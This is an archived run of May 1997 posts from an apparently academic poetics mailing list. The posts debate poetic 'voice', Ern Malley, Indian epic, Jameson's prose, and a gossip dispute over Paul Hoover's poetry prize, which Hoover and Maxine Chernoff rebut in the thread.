Now, I still do think that there is some interesting irony in Mr. Hoover (an arbiter and champion of radical American poetics) being selected by Mr. Bell (a long-time arbiter and champion of the standard) and I wouldn't retract my questions relating to it. And I think the matter is interesting because it seems to have something to do with the "avant-garde's" relation to the culture industry (or at least its willing (or unwitting) absorption into it. I realize the issue is an old one and maybe it's just a little thing- - so what, as Kevin says, if Bell selected Hoover's book? Isn't it better if we all just get along and extend the olive branches of prestigious awards to one another? But I wonder about the

imperceptible accretion of those small things and where they lead. I remember being in Holland last year and going into a museum and coming upon all these collages by Schwitters encased in massive, gilded frames... Maybe there's nothing to be done about it.

> *Anyway, my main point here is to apologize.*
>
> *Kent*

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515. **Rachel Loden**
fashion victims
Mon 19 May 1997

Dodie Bellamy wrote (in part):

> *My students refered to people who were overly concerned with fashion as "fascists." I thought that was clever.*

Somebody (Abbie Hoffman? or David Bowie, who should know) said that "fashion is fascism."

Something in the new and highly recommended _Poetic Briefs_ ("Shadows: New & Selected Dialogues on Poetics by Mark Wallace and Jefferson Hansen") struck me as fascinating commentary on poetic fashion, or perhaps fashion commentary on poetic fascism:

"...At a recent reading, I was told the story of a poet who's been having trouble writing lately because he found elements of narrative creeping back into his writing, and he had become so worried about his 'social complicity' that he couldn't write for a long time. And I thought it sounded like a story of someone who was stuck on avant garde writing as closing possibilities, not opening them, because his thoughts on poetry were still riddled with shoulds and shouldn'ts, and 'narrative' for him had become a shouldn't. I thought that was sad, because for me avant garde had always been about saying 'fuck you' to the shouldn'ts, not just about having a new set of them." [MW]

Have to admit that what I immediately saw was a cartoon: wretched, disheveled poet sits on a couch, head in hands, while friends to the side whisper "George is disconsolate about the social complicity of his poems."

Talk about being "too wrapped up in [your] own importance to leave any breathing space," as Pam Brown quoted Laurie Duggan (on poems of voice).

Anyway, thanks to all for the voice posts--many of these have already become important reference points when I argue with myself in the shower.

Rachel Loden

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516. KENT JOHNSON
v=o=i=c=e
Mon 19 May 1997

This thing dabout v=o=i=c=e: Why would people who still attach their names to poems want to have something to say about it? My friend Motokiyu asked that, and he predicted that few would would sincerely care about following the question to its conclusions, and I predict that he was right. There are too many Georgia poetry prizes to win.

Kent

↑ Index

517. Gwyn McVay
Re: cartoon phrases
Mon 19 May 1997

Tom, you perchance thinking of Sylvester the Cat, who would say it as "tharto-rial thtrategies"?

On Mon, 19 May 1997, Tom Mandel wrote:

> *Re: Dodie's*
>
> *actually i like the phrase "sartorial strategies" --it hisses with calculated sibilants,*
>
> *I'd like to hear the phrase spoken by Daffy Duck myself.*
>
> *Tom*
>
> *Tom Mandel* [redacted]
> **********
> *Screen Porch * http://screenporch.com*

> *4031 University Dr. Suite 200 * vox: [redacted]*
> *Fairfax, VA 22030-3409 * fax: [redacted]*
> **********
> *Join the Caucus Conversation*

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518. **Tom Mandel**
cartoon phrases
Mon 19 May 1997

Re: Dodie's

> *actually i like the phrase "sartorial strategies" --it hisses with calculated sibilants,*

I'd like to hear the phrase spoken by Daffy Duck myself.

Tom

Tom Mandel [redacted]
****
Screen Porch * http://screenporch.com
4031 University Dr. Suite 200 * vox: [redacted]
Fairfax, VA 22030-3409 * fax: [redacted]
****
Join the Caucus Conversation

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519. **Tom Mandel**
metal was a mistake
Mon 19 May 1997

> *you did" and "Metal was a mistake".*
>
> *re: epigram #2 -- could you give some manner of explication?*

Hmmm, David, you looked completely conscious at 8am this morning when we met as you stepped from and I hopped on the Red Line, you on the way to work (I suppose) and I returning home after my morning stumble I mean run.

Working with metal was a big step in cultural evolution. weapons and plow-shares alike.

tom

Tom Mandel [redacted]
****
Screen Porch * http://screenporch.com

4031 University Dr. Suite 200 * vox: [redacted]
Fairfax, VA 22030-3409 * fax: [redacted]
****
Join the Caucus Conversation

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520. **dbkk**
Re: dirty postmodernism
Mon 19 May 1997

At 10:49 PM +0600 5/17/97, Mr. Kent Johnson wrote:
>I heard from a
>friend that Paul Hoover's book (the editor of the humoungous (sp?)
>Norton _Postmodern American Poetry_), had been selected by none
>other than Marvin Bell, most recently author of the very depressing
>series "Poems of the Dead Man," and director, I think, of the Iowa
>Writer's Workshop, for the "coveted" National Poetry Series!
>
>I was wondering: Is this cause for rejoicing, embarrassment, second-
>thoughts, or factional reconciliation? Certainly, Mr. Hoover's
>authority as an arbiter of "Postmodernism" (insofar as he gladly
>accepts Mr. Bell's approval) might be called into question?
>
>I was, in part, wondering, because I heard from a third party that
>when Mr. Hoover was in Iowa City a couple months ago, he talked shit
>at the bar to Creative Writing students about my friend (and
>significantly greater poet than he) Forrest Gander, who was visiting
>poet at the time there. Is it possible, I wonder, that Mr. Hoover's
>little visit to Iowa City could have had something to do with his
>little prize?

Hi, this is Kevin Killian, in psychic bewilderment about what is going on in above item. Is Mr. Hoover to be reviled because he accepted some kind of prize from Mr. Marvin Bell? If so, what to be made of Mr. Gander, who accepted some kind of "visiting poet" post from Mr. Bell? I don't get it.

Sounds like all of us should stay out of bars, where students congregate, since students will report what we say to our enemies. Report or distort, since I, once a student myself, remember delighting myself in complete invention and once gave such a terrible account of the ancient Katherine Anne Porter that she died a few weeks later. I was also there during Robert Lowell's last poetry reading and yes, went to a bar with him afterwards, and then he got on that plane and, well, died while I was still lying about him! I felt no guilt about this

and believe that few students would. If there are other students on this list perhaps you can confirm or deny my suspicions.

As for McVay's note that "Jorie Graham is well known for never accepting a gig unless there's something in it for hubby James Galvin too," it's true that Elizabeth Taylor killed her own career by making too many films with Richard Burton. But I keep thinking, God, can't Bruce Willis think of some way to help poor Demi Moore out of her precarious pitch on the lower slopes of hasbeenism?

I feel for these people. But now I am thinking that perhaps Johnson means only that Gander should have gotten the award, if he is the "significantly greater poet" than Hoover, while Hoover should have been content with the visiting poet position? I say, give it a rest, all will come right at the end. I'm sure none of these people are half as bad as Johnson has made them out to be. We're only here for a short while and we might as well try to hold out the olive branch and peace, love and understanding.

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521. Maria Damon
(no subject)
Mon 19 May 1997

---

i actually think jameson is quite a good writer. i wonder why it is that marxist theorists come in for this kind of anti-intellectual bashing, while for example medical research scientists aren't taken to task for the "esoteric jargon" they use to describe simple human functions like breathing or digesting. since the "judge" of the contest is himself a humanist scholar, i suspect some petty generational ressentiment on the part of these contest runners.

At 1:51 PM -0700 5/18/97, Hoa Nguyen wrote:
>Hi every one. This is Dale Smith via Hoa's machine. Below is an article
>I read
>in today's local paper from the associated press. I found it quite
>telling and
>right on. It reveals the distance that has developed between theorists
>and mere
>mortals who expect language to function as a medium of shared communication
>rather than subjective solipsism. Anyway, here's the article:
>
>**********
>
>CHRISTCHURCH, New ZealandããLooking for a good read? Here are some writers to

>avoid.
>
>The winnerããor loserããof an academics' Bad Writing Contest announced
>Friday was
>Frederic Jameson, a professor of comparative literature at Duke University in
>North Carolina.
>
>His book, "Signatures of the Visible," opens with this sentence:
>
>"The visual is essentially pornographic, which is to say that it has its
>end in
>rapt, mindless fascination; thinking about its attributes becomes an
>adjunct to
>that, if it is unwilling to betray its object; while the most austere films
>necessarily draw their energy from the attempt to repress their own excess
>(rather than from the more thankless effort to discipline the viewer)."
>
>Jameson has a significant academic following, contest organizers noted; for
>their part, the judges believed reading his prose "was like swimming through
>cold porridge."
>
>Telephone calls to Jameson's home Saturday were not answered.
>
>All the entries in the contest were from published academic works. The top
>three offenders were English professors. The judges observed: "This reliance
>on jargon is an indication of the death throes of English as an academic
>discipline."
>
>Second place went to Rob Wilson of the University of Hawaii, whose sentence
>reads, in part:
>
>"If such a sublime cyborg would insinuate the future as post-Fordist subject,
>his palpably masochistic locations as ecstatic agent of the sublime superstate
>need to be decoded as the 'now-all-but-unreadable DNA' of the fast
>deindustralizing Detroit...."
>
>The third-place winner kept his sentence short, but to no avail.
>
>"The lure of imaginary totality is momentarily frozen before the dialectic of
>desire hastens on within symbolic chains," wrote Fred Botting in his 1991
>work,
>"Making Monstrous: Frankenstein, Criticism, Theory." Botting is a

>lecturer at
>Lancaster University in England.
>
>The contest showed that academics and major publishing houses have been so
>busy
>using the "magical incantations of jargon, they've forgotten what real
>thinking
>is," said contest judge Denis Dutton, senior lecturer in the philosophy of art
>at Canterbury University in Christchurch.
>
>
>
>
>----------
>Get Your *Web-Based* Free Email at http://www.hotmail.com
>----------

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522. **Maria Damon**
Re: cartoon phrases
Mon 19 May 1997

---

actually tom is was i who liked the phrase not dodie...but then i think fred jameson's a good writer so what do i know...

At 8:46 AM -0500 5/19/97, Tom Mandel wrote:
>Re: Dodie's
>
>>>actually i like the phrase "sartorial strategies" --it hisses with
>>>calculated sibilants,
>
>I'd like to hear the phrase spoken by Daffy Duck myself.
>
>Tom
>
>
>Tom Mandel [redacted]
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>**********
> Join the Caucus Conversation

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523. Sylvester Pollet
Re: metal was a mistake
Mon 19 May 1997

Metal was a mistake--ron preferred the old Rock. (Heavy Metal, and Bronze Age/Stone Age, yes)

> *you did" and "Metal was a mistake".*
>
> *re: epigram #2 -- could you give some manner of explication?*
>
> *Hmmm, David, you looked completely conscious at 8am this morning when we met as you stepped from and I hopped on the Red Line, you on the way to work (I suppose) and I returning home after my morning stumble I mean run.*
>
> *Working with metal was a big step in cultural evolution. weapons and plowshares alike.*
>
> *tom*
>
> *Tom Mandel* [redacted]
> **********
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> **********
> *Join the Caucus Conversation*

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524. Miekal And
Re: wasn't someone collecting new onomotopoetica...?
Mon 19 May 1997

Eliza McGrand- CVA Guest wrote:
>
> dodie just coined a new one --
> "dejecta"
>
> dejected/derilicts/rejected/objects/and many more
>
> e

In lurk mode, thanks eliza for pointing out, will stick in the dictionary of neologisms.

miekal

beyond words
--
@#
Dreamtime Village website: http://net22.com/dreamtime
QAZINGULAZA: And/Was/Wakest website:
http://net22.com/qazingulaza
e-mail for DT & And/Was: [redacted]

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525. **Douglas Barbour**

Re: 'whose' 'voice'?

Mon 19 May 1997

A couple of days ago (sorry about that), Hugh Steinberg wrote:

"Sylvester Pollet wrote:
>Yeah, but Henry, aren't some people allergic to wheat? I don't see what all
>the fuss is about myself. Dodie hit it for me. Another way to think of
>"voice" is as a synonym for "chops," as in jazz, not lamb. Which doesn't
>mean every solo you blow will be the same, but it will have the years
>behind it.

I think chops is a great way of looking at this voice thing. A lot of problems with the term "voice" is that it's too broad: everyone's got a voice. What's at stake is the nervous desire to make each voice (your voice) unique. This may be a foolish desire, up there with wanting to be a famous poet, but, like Dodie, I don't want my poems to look/sound like anyone else's (especially all those hordes of other MFAs out there). That's why I work on my chops."

I like this idea too, but in another context I was thinking about 'voice' & subjectivity. The concept does seem to be attached to the ideal of a singular, settled subjectivity. At which point the famous Aussie modernist poet, Ern Malley came to mind (again: there was a discussion of this wonderful hoax that backfired earlier this year). Because it suddenly occured to me that 'ern' does have 'his' own voice, felt throughout, but its very presence sure does undermine the very concept as attached to that singular, settled subjectivity so much of the poetry the writers on this list write also seeks to question. There's poor young 'ern,' the written effect of two poets (who believed each in his own voice), created by a number of aleotropic means they did not believe in, & yet the poems, which

also work much better than they believed could be so, & the poems do seem to have a recogizable 'voice.' Hmm. Indeed.

==========
==========
Douglas Barbour I see
Department of English only

University of Alberta through the touching of Edmonton Alberta
T6G 2E5 the light [redacted] FAX:[redacted] Luce Irigaray
H: [redacted]

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526. Alan Jennifer Sondheim
Re: your mail
Mon 19 May 1997

With medical research, it's necessary. I've taught pomo a number of times (graduate level etc.) and still find Jameson turgid. And I do think that a lot of theory has become self-referential, pebbled with reification, etc. - as if there were nothing left to do.

Alan

_____ URL: http://jefferson.village.virginia.edu/~spoons/internet_txt.html MIRROR: http://www.anu.edu.au/english/internet_txt/ and Javascripted text/webpages -- Tel. [redacted], 432 Dean St., Brooklyn, NY 11217 IMAGES: http://www.cs.unca.edu/~davidson/pix/ Editor, BEING ON LINE CUSEEME 166.84.250 --

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527. MAXINE CHERNOFF
Re: dirty postmodernism
Mon 19 May 1997

Dear Rumor-mongers: Paul Hoover has not been in Iowa City since, I think, 1974, when one of our friends lived there and went t o library school and nwe visited him. As for the Georgia Prize, Mr. Hoover entered the contest which Mr. Bell happened to judge for that year. Like all people who get chosen by someone, he had no idea who the judge would be and became a finalist on the authority of Bin Ramke. What does this all mean? That perhaps there are better things to talk about than how someone gets a book published. Perhaps if the story of Paul Hoover's visit to an Iowa bar wnhere he conspired with Marvin

Bell to get his new book, Viridian (read it, it['s very good and has little to do with Marvin Bell's usual aesthetic) published, is getting circulated in Iowa and on this list, the circulating is perpetrated by people who perhaps wish they had a new book. No?

As for who chooses us for what, anyone who has ever taken grant money, accepted a cxheck from a rather compromised source, a federal or local government, and anyone who ever got published by a major press, well I hate to think of where $$ comes from, even for publishing ventures! So Kent Johnson should either check his sources or ask Ted Buczinsky to advice on living purely and simply in harmony with nature outside the military/industrial/university/publishing/Marvin Bell/Iowa City Bar conspiracy.

Maxine Chernoff>
>other than Marvin Bell, most recently author of the very depressing
> >series "Poems of the Dead Man," and director, I think, of the Iowa
> >Writer's Workshop, for the "coveted" National Poetry Series!
> >
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> afterwards, and then he got on that plane and, well, died while I was still

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> greater poet" than Hoover, while Hoover should have been content with the
> visiting poet position? I say, give it a rest, all will come right at the
> end. I'm sure none of these people are half as bad as Johnson has made
> them out to be. We're only here for a short while and we might as well try
> to hold out the olive branch and peace, love and understanding.
>

↑ Index

528. **David Israel**

Re: metal was a mistake

Mon 19 May 1997

> *... "Metal was a mistake".*
> *-- could you give some manner of explication?*

Tom Mandel clears the fog:

<< Working with metal was a big step in cultural evolution. weapons and plow-shares alike. >>

ah, thanks, -- I didn't *think* the chap was referring to heavy-metal as a phase of post-rock culture (so to say) [the parallelism from macro- to micro- here could bewilder, in translation]

also: now I'm adding Ron P. to the (growing) roster of poets seems I need to do some catchup in regard to -- (having too-spotty an education in the peers (or somewhat-seniors) of my somewhat-seniors at this point) --

<< Hmmm, David, you looked completely conscious at 8am this morning when we met as you stepped from and I hopped on the Red Line, you on the way to work (I suppose) and I returning home after my morning stumble I mean run. >>

"completely conscious" is perhaps a formidable: supposition I dare not own; -- but happy to say I was on a more leisurely jaunt than you surmise: my dayjob doesnt' start so early (more like 11:30 am, 12:30 pm, depending) --

for quotidian anecdotate here, Tom, I got me a copy of the Sunday NYT at the CVS, a package of Macanudo cigars (at same), and thereafter lazed away some morning hours at Kramerbooks' sidewalk cafe, delighting in the French chitchat (totally beyond my comprehension) issuing from a neighboring table. Also to note (speaking of rock, proto- or post-, got a freebie promotional cassette of Jonny Lang's *Lie To Me* title cut (they even threw in a free video of same) -- for a 16 year old, this young R&B fellow sure knows his blues-voice chops . . .

now it's typing time at the Word Processing Center --
but first, a news flash:

Germany's Daimler-Benz has developed a prototype "cyber Mercedes" with its own Internet access that works even while the car is moving. The car, undergoing tests in California, has a "smart card" slot in the armrest, infrared ports for laptop networking, a wireless keyboard built into the dash, multimedia screens in the head rests, and a voice activation system for drivers to control the system without taking their hands from the steering wheel. A spokesman says the car "opens up a completely new dimension of options and services" for drivers. (UPI)

So when Janis sang, "Oh Lord won'tcha buy me a Mercedes-Benz" . . . she really meant . . . [fill in the blanks] . . .

d.i.

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529. MAXINE CHERNOFF
Re: dirty postmodernism
Mon 19 May 1997

Another thought: The last time Paul Hoover wasn't in Iowa City, he also wasn't "talking shit" about Forrest Gander, whom he and I last saw in SF in fall of this year. Hi, Forrest, if you're listening. Tell you pal Ken Johnson to get his information straight. (Or maybe someone is impersonating PH at Iowa?)

Chernoff again

↑ Index

530. George Thompson
Re: er pardon moi
Mon 19 May 1997

David Israel's observations re Indian epics are accurate, as far as they go. But there is a whole other universe of epic in India, in all of the vernacular languages, about which very little is known [by us]. For the most part, these epics have been subjected to the techniques of folklore analysis, rather than to what might be called literary analysis [which is to say that attention has been given more to their content, genre, performance, sociology, etc., than to their "literary merit"]. Their subject matter is very diverse [again, not always that "arms and the man" stuff that we might expect]. But one thing that they all have in common is that they are "popular", very literally.

As for the Sanskrit epics that David refers to, the Mahabharata and the Ramayana: their authors were in no way "individual writers", even if they are represented as such in the epics themselves. Vyasa and Valmiki [and Homer, for that matter] are "real", I have to say, *only* in the same sense that Zeus or Achilles or Krishna or Arjuna are "real."

This is not to say that there were not individual performers who, by means of their verbal, or narrative, or psychological, or other sorts of dexterity, profoundly modified their traditions. But these are "individuals" who operated within a tradition that embraced them, and which they embraced in turn. I don't think that you see "the anxiety of influence" and other literate diseases in them. Their relationship to name and signature is rather intriguing too [but that's another story]..

David is also right in pointing out that, in India, epic and Vedic are two entirely distinct strands in the tradition. You might find it interesting to know that the Vedic cognate of the Greek word 'epos" is "vacas", which means "word, utterance, hymn."

So my own work isn't so much focussed on the poetics of the epic, as much as on the poetics of the hymn. But for historical reasons there is a connection between these in Indo-European.

George Thompson

↑ Index

531. dbkk
Re: cartoon phrases
Mon 19 May 1997

At 9:53 AM -0500 5/19/97, Maria Damon wrote:
>actually tom is was i who liked the phrase not dodie...but then i think

>fred jameson's a good writer so what do i know...
>
>>>>actually i like the phrase "sartorial strategies" --it hisses with
>>>>calculated sibilants,

Maria,

Actually, I never criticized the phrase--I just criticized the writers' bad taste in using it when a simpler word would have worked better. Some things work in some contexts, but not in others. A lime green scarf with a red pants suit might be yuck, but that doesn't mean it wouldn't look fabulous with a black pants suit.

As far as Jameson goes, writing such as in the passage Dale quoted has an appealing poetry to me, the kind of thing I would underline heavily for a chapter, steal from, and then drop the book on the bedroom floor with the other dejecta of my life.

Dodie

↑ Index

532. **henry**
Re: er pardon moi
Mon 19 May 1997

---

re: Indian epic: everyone should see the great trilogy by Satyajit Ray the name of which of course, neither I nor Blarnes nor Spandrift can remember. In the 2nd film there's a scene of the local brahmin(?) poet intellectual on the stone riverbank in the big city, reciting verses crosslegged to a crowd of attentive seated listeners. Archaic peaceful nostalgic otherworldly. - Blarnes

↑ Index

533. **Daniel Tessitore**
Re: voice & refrain
Mon 19 May 1997

Stephen Vincent wrote:

For those of us who grew up under
the sway of new criticism in which
usually the guy in the poem was identified
always as "the speaker", and not say
Keats, wasn't it also a given that
such a speaker would have a "voice."(?)
I'm curious and too lazy to research
why that "voice" in the poem was called

a "speaker" in the first place.

This is so, I believe, because in the NC approach is the assumption that the writer wears a kind of 'mask' when he/she writes, and thus a distinction needs to be drawn between the person of the writer and and the person of the poem. I think there is some value to the notion, since writers I think often make the distinction themselves in writing (though not all of them all the time to be sure).

For a
critical movement that prided itself
on pointing out fallacies of one sort
or another ("pathetic fallacy") etc.
it's ironic (to use another favorite
critical expression of the time) to see
the old "speaker" and "voice" be given
the a perhaps similar "pathetic" heave.

I think the notion of speaker re: NC is fundamentally different from 'voice,' at least the way the latter term is used nowadays. 'Speaker' is a way of distancing the poem from the poet so that the poem may be treated as 'art object,' whereas 'voice' I think implies the foregrounding of the writer him/her-self.

DT

I prefer the notion of "signature" in the
way that a writer's work, overtime, will
achieve that- and within that signature
there will be layers and varieties
of change (focus, content, rhythms,
color etc.) Yet - in the mature work -
there is something constant there -
and I will refrain from using the word
"sensibility" -- since I think that
word avoids deeper issues of form,
structure, etc.

Cheers,
Stephen Vincent

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534. **CHRIS MANN**
have you heard?
Mon 19 May 1997

---

paul mccartney now claims to have been asked more questions than anyone ever

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535. **Peter Landers**
Metal was a mistake
Mon 19 May 1997

Metal was a mistake meaning...

1.) Someone left the ore on the fire? 2.) I was trying to record disco and it came out like Ozzie? 3.) We should never have smelted; people weren't ready for it? 4.) CRO2 wears your heads down?

FWIW, I've moved. Selby's got to fix my address. It's

Pete Landers
Happy Genius
34 Rose Circle
Hamlin, NY 14464

It's irregular and #1 is looking very cool. soon.

Pete

oh, and Re: the anthologist. Doesn't ee cummings have the perfect poem for him?

↑ Index

536. **Stephen Vincent**
Re: voice & refrain
Mon 19 May 1997

For those of us who grew up under
the sway of new criticism in which
usually the guy in the poem was identified
always as "the speaker", and not say
Keats, wasn't it also a given that
such a speaker would have a "voice."(?)
I'm curious and too lazy to research
why that "voice" in the poem was called
a "speaker" in the first place. For a

critical movement that prided itself
on pointing out fallacies of one sort
or another ("pathetic fallacy") etc.
it's ironic (to use another favorite
critical expression of the time) to see
the old "speaker" and "voice" be given
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I prefer the notion of "signature" in the
way that a writer's work, overtime, will
achieve that- and within that signature
there will be layers and varieties
of change (focus, content, rhythms,
color etc.) Yet - in the mature work -
there is something constant there -
and I will refrain from using the word
"sensibility" -- since I think that
word avoids deeper issues of form,
structure, etc.

Cheers,
Stephen Vincent

↑ Index

537. **Jordan Davis**
Re: 'whose' 'voice'?
Mon 19 May 1997

I've never understood the idea that Ern Malley "backfired." I thought the point of the hoax was that it was possible for two clever jokers to do much _better_ at modernism by _not_ taking it seriously than one serious determined dilletante could by turning his whole 'vegetative eye' to it. The invention of the poet only works if the poems "work". If the point was to pass rubbish off as great, then whoops! I admired something hateful.

Cleaning my shoe,
Jordan

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538. **charssmith**
PCBA Bookworks
Mon 19 May 1997

Passing this on for those interested. The show has some great stuff in it, including a Tom Raworth book done by Alastair Johnston & much that works well as visual poetry, often erupting into a 'sculptural' realm.

(Would also point out the show, "Artist's Books Today," a survey of sculptural expanded books curated by Carol Barton, through June 14 at the San Francisco Center for the Book, 300 De Haro. [redacted].)

Charles Smith

~~~
~~~

↑ Index

539. **MAXINE CHERNOFF**

Re: dirty postmodernism

Mon 19 May 1997

Dear Kent Johnson:

I'm responding to your post of May 19 in which you claim that my book VIRIDIAN was selected by Marvin Bell for the National Poetry Series because I had schmoozed with him at an Iowa City bar.

First, your errors of fact:

(1) I have not been in Iowa City since the 1970s. (2) The book won the Georgia Prize, not the National Poetry Series. (3) Marvin Bell does not head the Iowa Writer's Workshop, though he has taught there for many years. (4) I would never slander Forrest Gander. We had dinner with him at Frances Mayes' house in San Francisco in the fall, and he was good company. I have read his work with interest and respect it. (5) Because I did an anthology of postmodern poetry doesn't mean I'm locked into an ideology. I like expressive poetry, too, when it has intelligence and freshness. My anthology, like the magazine NEW AMERICAN WRITING, has been noted for its range. It includes August Kleinzahler, who is very far from being a language poet. (6) The final judge of the Georgia Prize was never announced, at his or her request. The reasons for this are mysterious. I heard through rumor that the judge was Marvin Bell. If so, thanks.

And what if he were the judge? Is it somehow wrong for him to pick a poet from outside a given community?

You may like Forrest Gander's work better than mine, which is fine. I don't see a necessary opposition between the two of us. I do know that he is open to more than one concept of the poem, which is also my position. I doubt that you have read much of my work.

We should ask ourselves why the Ashberys and Ginsbergs were included in anthologies of contemporary American poetry, but the Nathaniel Mackeys and Lyn Hejinians are not. A strict sense of opposition has been the rule, always to the exclusion of the "experimental."

But the larger problem is the economy of poetry in the boomer era. Everyone is encamped because of the market niches demanded by too large a supply of poets. Poets become resentful because there isn't enough reward to go around, despite the explosion of prizes, grants, and awards announced in POETS AND WRITERS.

I'm responding, by the way, not to your original post but to how it is excerpted in Kevin Killian's response. Could someone backchannel me the original?

Paul Hoover

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540. Peter Zukowski
er . . . pardon moi
Mon 19 May 1997

Henry,

You're referring to, of course, Ray's _Apu Trilogy_:

Panther Panchali (Song of the Little Road) 1955
Aparajito (The Unvanquished) 1956
Apur Sansar (The World of Apu) 1959

available individually, or as a boxed set at just about any Border's. Old, scratchy, hard-to-read subtitles, shaky sound, but beautiful, enlightening, and transcendent to film buffs, and those interested in Hinduism and the "Indian Epic."

There's a Satyajit Ray Filmography at:

http://arts.ucsc.edu/RayFASC/filmographypage.html

and a nice little essay about Ray and _The World of Apu_ at:

http://www.st-and.ac.uk/~www_sa/socs/basement/worldofapu.html

and many other sites about Ray and his films which can
easily be found with just about any web search engine.

At 12:59 PM 5/19/97 EDT, you wrote:
>re: Indian epic: everyone should see the great trilogy by Satyajit Ray
>the name of which of course, neither I nor Blarnes nor Spandrift can
>remember. In the 2nd film there's a scene of the local brahmin(?)
>poet intellectual on the stone riverbank in the big city, reciting
>verses crosslegged to a crowd of attentive seated listeners. Archaic
>peaceful nostalgic otherworldly. - Blarnes

Peter Zukowski
[redacted]

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541. Eliza McGrand- CVA Guest
wasn't someone collecting new onomotopoetica...?
Mon 19 May 1997

dodie just coined a new one --
"dejecta"

dejected/derilicts/rejected/objects/and many more

e

↑ Index

542. David Israel
Re: have you heard?
Mon 19 May 1997

Chris Mann asks, have you heard:

> *paul mccartney now claims to have been asked more questions than anyone ever*

no I hadn't, but in the gossip-corner of today's Washington Post, there's a report abt. his recent internet fielding of questions from 2 million folks (he didn't manage to answer all of 'em -- but did supposedly address 300, I think they say) --

if McC. alleges as quoted above, the quote has (of course) odd resonance w/ regard to the (let it be said, for now) more famous utterance of the late Lennon, that the Beatles are [or were] "now more popular [or was it, indeed, more famous?] than Jesus Christ"

I read the news today oh boy
that paul mccarney had just won the war
two million surfers typed away
but I just had to belch
having mucked the mulch

d.i.

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543. David Israel
Re: dirty postmodernism
Mon 19 May 1997

To Paul Hoover, c/o Maxine Chernoff

<< . . . I'm responding, by the way, not to your original post but to how it is excerpted in Kevin Killian's response. Could someone backchannel me the original?

Paul Hoover >>

Since I'm online and have the post from Kent Johnson that is (I believe) in question --

ergo by way of friendly bystanderism, here's sending a copy of same direct to Hoover/Chernoff (& copying Poetics with this, by way of gen. ref. or whatnot) --

regards
d.i.

/ / / / /

Date: Sat, 17 May 1997 22:49:12 +0600
From: KENT JOHNSON
<[redacted]>
Subject: dirty postmodernism

I just re-subscribed and happy to come back. Let's see...I feel I should contribute some kind of snippet, so here goes: I heard from a friend that Paul Hoover's book (the editor of the humoungous (sp?) Norton _Postmodern American Poetry_), had been selected by none other than Marvin Bell, most recently author of the very depressing series "Poems of the Dead Man," and director, I think, of the Iowa Writer's Workshop, for the "coveted" National Poetry Series!

I was wondering: Is this cause for rejoicing, embarrassment, second- thoughts, or factional reconciliation? Certainly, Mr. Hoover's authority as an arbiter of "Postmodernism" (insofar as he gladly accepts Mr. Bell's approval) might be called into question?

I was, in part, wondering, because I heard from a third party that when Mr. Hoover was in Iowa City a couple months ago, he talked shit at the bar to Creative Writing students about my friend (and significantly greater poet than he) Forrest Gander, who was visiting poet at the time there. Is it possible, I wonder, that Mr. Hoover's little visit to Iowa City could have had something to do with his little prize? (I would like to say here that if Forrest knew I was writing this, he would be extremely pissed, and he will certainly be when he finds out, but I can't contain myself...).

anyway, it's good to be back. I've missed the great people on this list! Even Bromige and Bowering, who write code behind everybody's back.

Kent

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544. **Michael Boughn**
Re: epic redux
Mon 19 May 1997

Dear George Thompson:

First of all, let me apologize for the somewhat snarky tone of my response to your original post. Your opening seemed a bit condescending to "poets", as if they would be too busy rhyming or whatever to have paid attention to the basic intellectual debates about the nature of epic, and I responded somewhat sharply. Excuse me.

I still stick to my main, point, however, that the theory you present is just that--theory--whether Parry's or your own--not fact. Your proposal about Homeric formulas or cliches has no claim on truth--it's an imaginative reconstruction based on a philological analysis of texts written down long after the poems were "composed" (whatever that word may mean in this context). We have no way of _knowing_ what function those verbal forms played 3,000 years ago. We can look at how oral traditions today work and argue for parallels, but, again, it's an imaginative leap, not a statement of truth. They could very well have worked the same way all those memorized riffs worked for John Coltrane--as a kind of foundational vocabulary to fall back on or take off from during the process of improvisation. That's as likely as anything else.

Classicists have a different imagination of their relationship to epic than poets do--but the difference is not in their access to or awareness of current and past scholarship. It's in the use to which they see that relationship being put. Classicists--and I apologize in advance if I distort a position that's not my own--see themselves as studying the poetry in order to arrive at a more "accurate" measure (perhaps just a new measure) of the origin and development of the form--i.e. a new theory. Poets (those who are interested) need to figure out a relationship in order to proceed with making poems. Neither relationship has a greater claim on "truth". Both are fundamentally imaginative. But poets do seem more forthcoming about that than scholars, who frequently seem to want to cover their tracks.

Who, after all, had the more interesting theory of the epic: Virgil, Dante, Milton, Blake, H.D., Olson? or Milman Parry? I know who I think people will be reading 500 years from now. And reading for the news.

Best,
Mike
[redacted]

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545. **Poetics List**

Announcement Query... (fwd)

Mon 19 May 1997

---------- Forwarded message ----------
Date: Mon, 19 May 1997 14:38:09 -0400 (EDT)
From: Other Voices <[redacted]>
To: [redacted]
Subject: Announcement: Other Voices

*** OTHER VOICES ***

An Electronic Journal of Critical Inquiry Published by the Students of the University of Pennsylvania

http://dolphin.upenn.edu/~othervcs

Other Voices, a new electronic journal based at the University of Pennsylvania, has just released its first issue. Other Voices is a quarterly publication dedicated to interdisciplinary criticism in the humanities and social sciences founded in March 1997 in response to the limited number of local publications highlighting advanced undergraduate and graduate work in the humanities.

Other Voices is dedicated to publishing criticism and research that both reflects current scholarship and highlights the diversity of the University of Pennsylvania's academic environment. It is not envisioned as a forum for editorial opinion or discussion of current events per se, but instead as a challenge to students who would wish to critically analyze specific cultural products, contemporary thought, or our current historical circumstances from within a variety of discursive frames. Its format is conceived specifically as an alternative to both the one-dimensionality common in standard political and literary publications, and the superficiality of the op-ed newspaper piece.

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* The Dialectics of Allegoresis: Historical Materialism in Walter Benjamin's Illuminations
* Falling into Time: The Historicity of the Symbol
* Georg Lukacs: The Antimonies of Melancholy

* Necromancy and Necrophagia: The Movement of Oscillation in S/Z
* Tell him that I...Women Writing the Holocaust

Interviews/Lectures:

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* Fragments of the Passagenwerk: Reading in the Ruins

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* David Harvey, The Condition of Postmodernity
* William Scheuerman, Between the Norm and the Exception: The Frankfurt School and the Rule of Law

*** CALL FOR PAPERS ***

Other Voices is currently accepting submissions for its next issue (Vol. 1 No. 2). These should be received (by email or post) NO LATER THAN:

May 30th, 1997

Submissions recieved after that date will be held for future consideration.

In lieu of standard paper publication, Other Voices takes advantage of the capabilities of the Internet for author/reader interaction, public dialogue, and multimedia presentation. Thus, submissions may take a variety of forms ranging from more traditional academic essays and book reviews to multimedia presentations involving video, inline images, sound and text. Individual issues of the journal are constructed around a core of six to eight scholarly articles; one or two hypertext/multimedia projects; a transcribed lecture, panel discussion or interview; and a variable number of book reviews. We strongly encourage our readership to submit suggestions for projects falling outside of this scope.

Submissions from any source are warmly welcomed; however, we especially encourage participation by students of the University of Pennsylvania and other regional universities in the local tri-state area.

Please consult the our site for specific information on formating requirements.

